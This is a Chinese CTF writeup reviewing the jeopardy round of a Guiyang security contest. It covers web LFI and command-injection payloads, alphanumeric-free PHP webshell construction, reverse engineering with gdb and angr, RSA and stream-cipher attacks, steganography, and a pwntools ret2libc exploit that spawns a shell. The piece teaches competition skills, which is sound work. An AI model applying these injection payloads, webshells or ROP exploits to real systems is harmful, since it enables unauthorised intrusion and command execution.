
1. 从“夺旗”到“解题”一次精英对抗赛的深度复盘刚结束的贵阳大数据及网络安全精英对抗赛其解题赛Jeopardy环节无疑是整个赛事的核心竞技场。对于圈内人来说拿到一份详尽的“WP”Writeup解题报告就像拿到了一份武功秘籍不仅能复盘自己的得失更能窥见出题人的思路与当前安全技术的前沿风向。这份WP正是我作为参赛队员在赛后对本次解题赛的一次系统性梳理与深度复盘。它不是简单的答案罗列而是试图还原解题时的思考路径、技术选型的权衡以及那些在紧张赛时中踩过的“坑”和灵光一现的“神来之笔”。无论你是刚入门CTF的新手还是身经百战的老兵希望这份融合了实战技巧与原理剖析的报告能为你打开一扇窗看到赛场背后更广阔的技术天地。本次解题赛涵盖了Web安全、逆向工程、密码学、杂项Misc和编程Pwn等经典方向题目难度梯度设置合理既考察了扎实的基础知识也涉及了部分前沿的漏洞利用技巧。接下来我将分门别类挑选其中最具代表性、最能体现解题思维的题目进行详解并穿插大量我在实战中的操作记录、工具参数选择背后的考量以及遇到问题时的排查思路。2. Web安全漏洞链条的艺术拼接Web题目永远是CTF赛场上的主力军也是最能体现攻击者思维连贯性的地方。本次比赛的Web题没有追求偏门怪招而是扎实地考察了常见漏洞的发现、利用与组合能力。2.1 信息泄露与源码审计一切攻击的起点一道中等难度的Web题开局只给出了一个简单的登录页面。没有任何提示这种“黑盒”状态最考验渗透测试的基本功——信息收集。我的第一步永远是检查Robots.txt、.git目录、.DS_Store文件以及备份文件如index.php.bak, www.zip。这次通过目录扫描工具我用了dirsearch参数为-u URL -e php, bak, txt, zip发现了www.zip备份文件。下载解压后获得了网站源码。注意在实战和比赛中目录扫描的字典选择至关重要。我习惯合并使用SecLists中的Discovery/Web-Content目录下的常见大字典和针对PHP/Java等特定技术的专用字典。同时速率-t参数不宜过高以免被WAF封禁或对比赛服务器造成压力。获得源码后便是细致的代码审计。我首先关注的是文件包含、反序列化、命令执行等高风险函数如include,unserialize,system,eval。很快在admin.php中发现了一段关键代码$action $_GET[action]; if (isset($action)) { include(./actions/ . $action . .php); }这里存在一个明显的本地文件包含LFI漏洞。但直接包含/etc/passwd或源码文件被过滤了.php后缀。这里就需要利用PHP的封装协议或截断技巧。我尝试了php://filter来读取源码?actionphp://filter/readconvert.base64-encode/resourceindex参数中的resourceindex程序会自动补全.php后缀形成index.php。通过convert.base64-encode过滤器可以将文件内容以Base64格式读出从而绕过直接显示源码可能遇到的特殊字符解析问题。解码后我发现了数据库配置文件其中有一段关于“备份功能”的注释提示了/admin/backup.php路径。2.2 从LFI到RCE漏洞的升级利用访问/admin/backup.php发现是一个需要管理员Cookie的备份功能。但之前的源码审计中我在config.php里发现了硬编码的ADMIN_COOKIE值。于是我使用浏览器插件如EditThisCookie或命令行工具curl直接添加该Cookie进行访问curl -b “admin_tokenHARDCODED_VALUE_HERE” http://target/admin/backup.php页面显示了一个数据库备份功能允许用户指定备份文件名。查看其源码发现关键行$backup_file $_POST[backup_name]; system(“mysqldump -u root -p‘password’ db /tmp/” . $backup_file);这里存在一个经典的命令注入漏洞。由于对$backup_file未做任何过滤我们可以通过注入命令来执行任意代码。我使用的Payload是backup_nametest; id /tmp/result.txt;提交后命令id的执行结果会被写入/tmp/result.txt。然后再利用之前发现的LFI漏洞去包含这个文件?actionphp://filter/readresource/tmp/result.txt即可看到命令执行的回显确认RCE远程命令执行成功。实操心得从信息泄露到源码审计再到漏洞链拼接LFI - 信息获取 - 身份伪造 - 命令注入这是一条非常经典的Web渗透路径。关键在于保持思维的连贯性每一个发现都可能成为下一个环节的“钥匙”。在命令注入时要注意空格、分号、管道符等特殊字符是否被过滤并灵活运用${IFS}代替空格、%0a换行执行等绕过技巧。2.3 无字母数字WebShell的构造极限绕过另一道Web题则设置了严格的过滤不允许请求中出现任何字母和数字。这考察的是无字母数字命令执行和WebShell构造的高级技巧。题目提供了一个可执行命令的接口但过滤了所有字母数字。常见的解决方案是利用PHP中无需字母数字的特殊语法来构造命令。我的思路是利用.点号执行当前目录下的文件以及利用通配符*和?来匹配/bin目录下的命令。首先我需要知道当前目录下有什么文件。通过上传一个内容为?php phpinfo();?的图片马我获得了文件路径。但如何执行它在Linux中我们可以利用/bin目录下的一些命令的符号链接。例如/bin/??可能匹配到/bin/sh。更通用的方法是利用PHP的shell_exec配合反引号但如何无字母数字地调用shell_exec这里用到了一个神技利用PHP的异或^或取反~运算来生成字符串。因为非字母数字的符号如_、、%等进行位运算后可以产生字母和数字。我编写了一个本地生成脚本?php // 生成 $_GET[‘a’]($_GET[‘b’]) 的异或形式 $payload “$_GET[a]($_GET[b])”; $result ‘’; for($i0; $istrlen($payload); $i){ $result . ‘^’. dechex(ord($payload[$i])); } echo urlencode(‘^’.ltrim($result, ‘^’)); ?这个脚本会生成一串由^连接的十六进制码。在PHP中“{${~”%a0%b8%ba%ab”}[~%a0]}这样的字符串经过内部运算后实际上能产生_GET等字符。通过精心构造最终可以拼接出如?c$_GET[a]($_GET[b])的效果然后传递asystembcat /flag来执行命令。实际操作中我使用了网上公开的“无字母数字webshell”生成工具进行辅助但核心原理必须清楚就是利用PHP字符串的动态特性和位运算从有限的字符集中“创造”出我们需要的函数名和参数。这道题非常考验对PHP语言内核特性的理解。3. 逆向工程与二进制程序的直接对话逆向题目要求参赛者分析一个没有源代码的可执行程序理解其逻辑找到隐藏的Flag或通过破解获得权限。3.1 初阶逆向静态分析定位关键逻辑拿到一个ELFLinux可执行文件我习惯先用file命令查看基本信息用strings找找有没有明文的提示信息。如果没有就上反汇编工具。对于简单的CrackMe使用Ghidra或IDA Pro进行静态分析往往就够了。本次比赛有一道题程序要求输入一个序列号Serial正确则输出Flag。用IDA加载后直接查看main函数发现其逻辑清晰将用户输入经过一个check函数处理结果与程序内存储的一个硬编码值比较。按F5使用Ghidra或IDA的伪代码功能可以看到check函数是一个自定义的算法看起来像是将输入字符串的每个字符进行某种运算比如乘以一个常数再加一个偏移后再累加求和。我的做法是不急于动态调试而是先尝试理解这个算法并用Python复现它。def check_serial(input_str): s 0 for c in input_str: s (s * 31 ord(c)) 0xFFFFFFFF # 模拟32位整数溢出 return s target 0xDEADBEEF # 从汇编或伪代码中看到的硬编码值然后我写一个简单的爆破脚本尝试所有可见字符组合。但题目要求输入长度是16暴力破解不可行。仔细观察算法发现它实际上是一个经典的“滚动哈希”类似于Java的String.hashCode()。对于这种算法可以通过逆向运算来构造碰撞。不过更简单的方法是既然算法和最终比较值都已知我可以直接写一个脚本从结果反推一个合法的输入而不必是原始的正确序列号。这就是“序列号生成器”的思路。3.2 中阶逆向动态调试与Patch另一道逆向题是一个简单的游戏需要达到一定分数才能显示Flag。静态分析发现分数检查在validate函数里。使用动态调试器gdb或Windows下的x64dbg可以在分数判断的指令处下断点。我使用gdb加载程序通过disas validate查看validate函数的汇编找到类似cmp比较和jne跳转如果不相等指令的地址。然后在此地址设断点b *0x400a35。运行程序当断点命中时查看寄存器状态。通常分数会存储在某个寄存器如EAX或内存地址中。我直接使用set命令修改该寄存器的值为一个很大的数set $eax999999然后继续执行c程序就会跳过失败分支直接执行显示Flag的代码路径。注意事项动态调试时要注意程序是否有反调试机制比如检测ptrace、检查运行时间等。比赛中简单的题目通常没有但遇到复杂程序可能需要先绕过反调试。常见方法有使用LD_PRELOAD注入hook函数或者用gdb的脚本功能在程序启动前就Patch掉检测代码。3.3 高阶技巧angr符号执行自动化解题对于逻辑非常复杂、分支众多的逆向题手动分析耗时费力。这时符号执行引擎angr就能大显身手。有一道题程序对输入进行上百次变换和检查人工跟踪几乎不可能。我的解题脚本框架如下import angr import claripy proj angr.Project(‘./challenge’, auto_load_libsFalse) input_len 16 # 创建符号变量作为输入 input_chars [claripy.BVS(‘byte_%d’ % i, 8) for i in range(input_len)] input_str claripy.Concat(*input_chars) # 设置初始状态从main函数开始 state proj.factory.entry_state(stdininput_str) # 添加约束输入必须是可打印字符 for byte in input_chars: state.solver.add(byte 0x20, byte 0x7e) # 定义成功和失败地址从IDA分析获得 find_addr 0x400A90 # 输出“Correct”的地址 avoid_addr 0x400AB0 # 输出“Wrong”的地址 simgr proj.factory.simulation_manager(state) simgr.explore(findfind_addr, avoidavoid_addr) if simgr.found: solution_state simgr.found[0] # 求解出具体的输入值 solution solution_state.solver.eval(input_str, cast_tobytes) print(“Found solution:”, solution) else: print(“No solution found”)运行脚本后angr会自动探索程序的所有路径并找到一条能够到达成功地址输出Flag而不经过失败地址的路径并求解出满足条件的输入值。这种方法将逆向问题转化为一个“约束求解”问题非常适合处理复杂的逻辑分支。4. 密码学不只是数学游戏CTF中的密码学题目往往将经典的密码算法置于一个新颖的应用场景或一个被错误实现的系统中。4.1 流密码重用攻击一次一密的陷阱一道题目提供了多段密文提示均由同一密钥通过RC4或类似流密码加密。流密码的核心是密钥流Keystream与明文进行异或XOR运算。如果相同的密钥流被用于加密不同的明文即“密钥重用”就会产生严重的安全问题。假设有两段密文C1和C2 C1 P1 XOR Keystream C2 P2 XOR Keystream 那么C1 XOR C2 (P1 XOR Keystream) XOR (P2 XOR Keystream) P1 XOR P2。攻击者得到了P1 XOR P2的结果。如果其中一段明文比如P1是已知的或者具有可预测的结构例如以“flag{”开头那么我们就可以恢复出另一段明文P2。更进一步即使两者都未知但如果我们知道它们都是英文文本就可以利用英文单词的频率和空格字符0x20的特性进行 crib dragging 攻击。因为空格0x20与任何字母异或会翻转其大小写A^0x20a, a^0x20A。通过尝试在P1 XOR P2的结果的不同位置与一个猜测的单词如“ the ”进行异或观察是否产生另一段有意义的文本可以逐步推导出双方明文。在解题时我首先将提供的所有密文进行两两异或然后编写脚本尝试用已知的Flag格式如“flag{”作为“crib”进行拖动很快就发现了其中一段密文对应的明文是赛事的英文介绍从而拿到了密钥流并解密出了包含Flag的密文。4.2 RSA相关攻击当参数选择不当RSA题目层出不穷核心是考察对算法原理和边界情况的掌握。本次比赛有一道题给出了非常小的公钥指数e比如e3和相同的明文用不同模数N1 N2 N3加密后的密文c1 c2 c3。这直接指向了“低加密指数广播攻击”Hastad广播攻击。当e很小且同一明文m用多个互素的模数Ni加密时我们可以利用中国剩余定理CRT从ci中恢复出m^e在整数域上而非模Ni。因为m^e N1N2N3通常满足所以直接对恢复出的结果开e次方根即可得到m。我使用Python的gmpy2库进行计算import gmpy2 from functools import reduce def crt(remainders, moduli): # 中国剩余定理实现 total 0 prod reduce(lambda a, b: a*b, moduli) for r_i, n_i in zip(remainders, moduli): p prod // n_i total r_i * gmpy2.invert(p, n_i) * p return total % prod n_list [n1, n2, n3] c_list [c1, c2, c3] # 假设 e3 e 3 # 利用CRT求解 m^3 m_cubed crt(c_list, n_list) # 在整数域上开三次方 m, exact gmpy2.iroot(m_cubed, e) if exact: print(bytes.fromhex(hex(m)[2:]).decode())此外还有题目给出了两个模数N1和N2暗示它们可能共享一个质因数。这时直接计算gcd(N1, N2)如果结果不为1那么就找到了一个公因数从而可以分解两个模数破解RSA。这类题目提醒我们在CTF和现实世界中密码系统的弱点往往不在于算法本身而在于其实现和参数选择。5. 杂项与编程思维的发散与收敛Misc和Pwn题目形式多样Misc更侧重信息搜集、编码转换和脑洞而Pwn漏洞利用则要求扎实的二进制功底。5.1 杂项隐藏在细节中的Flag一道Misc题给了一张普通的风景图片。常规检查先用file命令再用binwalk分析是否有文件嵌入。binwalk -e picture.jpg果然分离出了一个ZIP压缩包。解压需要密码这就转向了图片隐写分析。使用steghide尝试提取信息但需要密码。这时我尝试了stegsolve工具对图片进行各种通道RGB Alpha和位平面Bit Planes的分析。在蓝色通道的最低有效位LSB平面发现了一些不规则的像素点。使用stegsolve的“Extract Data”功能选择“Red Green Blue Alpha”的0位平面组合以ASCII格式预览发现了一串像是Base64的字符串。解码后得到ZIP包的密码。解压ZIP后里面是一个文本文件内容全是零宽字符Zero-Width Characters。这类字符在常规编辑器里不可见但可以用cat -A命令显示出来会显示为^符号的转义序列或者用Python脚本读取其Unicode码点。将零宽字符序列如U200B U200C U200D UFEFF转换为二进制比特流再转换成字符串最终得到了Flag。实操心得Misc题就是“万物皆可隐写”。工具链要熟悉binwalk/foremost用于分离exiftool查看元信息stegsolve/zsteg针对PNG分析图像隐写audacity分析音频频谱fcrackzip破解ZIP密码。更重要的是保持发散思维任何微小的异常都可能是突破口。5.2 栈溢出漏洞利用掌控程序流一道简单的Pwn题提供了一个有缓冲区溢出漏洞的二进制文件并开启了NX不可执行栈保护但没有Canary和PIE地址随机化。首先用checksec检查安全特性然后用IDA分析。main函数里调用了vulnerable_function该函数内部用一个不安全的gets向局部数组buf读入数据而buf的大小只有32字节。目标是通过溢出覆盖函数的返回地址RIP从而控制程序执行流。由于有NX不能直接执行shellcode。但程序本身调用了system函数可以从IDA的导入表或plt段看到。同时在静态字符串中发现了“/bin/sh”。这就构成了经典的“ret2libc”利用条件。利用步骤确定偏移量使用gdb的pattern create和pattern offset工具或者通过计算局部变量到返回地址的栈空间大小确定填充多少字节后可以覆盖到RIP。这里通过分析偏移是32字节(buf) 8字节(saved RBP) 40字节。构造ROP链我们需要调用system(“/bin/sh”)。在64位Linux下前六个参数通过寄存器RDI RSI RDX RCX R8 R9传递。所以我们需要一个pop rdi; ret的gadget来将“/bin/sh”的地址放入RDI然后跳转到systemplt。寻找gadget和地址使用ROPgadget工具在二进制文件中查找pop rdi; ret。同时用gdb的p system和find “/bin/sh”命令找到system函数和字符串“/bin/sh”在内存中的地址因为无PIE这些地址是固定的。编写Exploitfrom pwn import * context.binary ‘./pwn_challenge’ p process(‘./pwn_challenge’) # 本地测试远程用 remote(‘host’ port) offset 40 pop_rdi_ret 0x4007a3 # 通过 ROPgadget 找到的地址 bin_sh_addr 0x4008c4 # 通过 gdb 找到的 “/bin/sh” 字符串地址 system_plt 0x400580 # systemplt 的地址 payload b’A’ * offset payload p64(pop_rdi_ret) payload p64(bin_sh_addr) payload p64(system_plt) p.sendline(payload) p.interactive()运行脚本成功获得了shell。这道题涵盖了栈溢出利用的基础偏移计算、gadget寻找和简单的ROP链构造。在更复杂的题目中可能还需要考虑栈迁移、利用libc中的gadget等技巧。6. 赛后思考与能力提升路径复盘整个比赛最大的感受是CTF比拼的不仅仅是知识点的记忆更是快速学习、逻辑思维和工程实践的能力。一道题往往是一个“黑盒”你需要像侦探一样从有限的线索一个网页、一个二进制文件、一段密文中运用各种工具和方法还原出题人设计的“故事”并找到最终的“宝藏”Flag。对于想系统提升CTF能力的朋友我的建议是分方向深耕Web、Reverse、Pwn、Crypto、Misc每个方向都有其知识体系。先选择一个感兴趣的方向深入再逐步扩展到其他领域。建立知识库与工具链用笔记软件如Notion、Obsidian记录每道题的解题思路、用到的工具命令、关键的Payload。整理自己的工具包并熟悉其常用参数。坚持打比赛与刷题平台如CTFHub、攻防世界、pwn.college提供了大量入门到进阶的题目。参加线上赛如CTFtime上列出的比赛能体验真实赛场的压力和节奏。阅读高质量的WP不要只看答案要理解解题者的思考过程。尝试用不同的方法去解同一道题。从“解题”到“出题”当你对某个知识点理解足够深时尝试自己出一道题。这个过程会让你对漏洞原理和防御方法有颠覆性的认识。最后分享一个我自己的小习惯在每次比赛或练习后我会问自己三个问题“这道题的核心考点是什么”、“我卡在哪个环节为什么”、“有没有更优雅或更通用的解法”。通过这种持续的反思将零散的经验固化为可迁移的能力。网络安全之路漫长CTF是一个绝佳的练兵场愿我们都能在一次次“夺旗”中磨砺出真正的锋芒。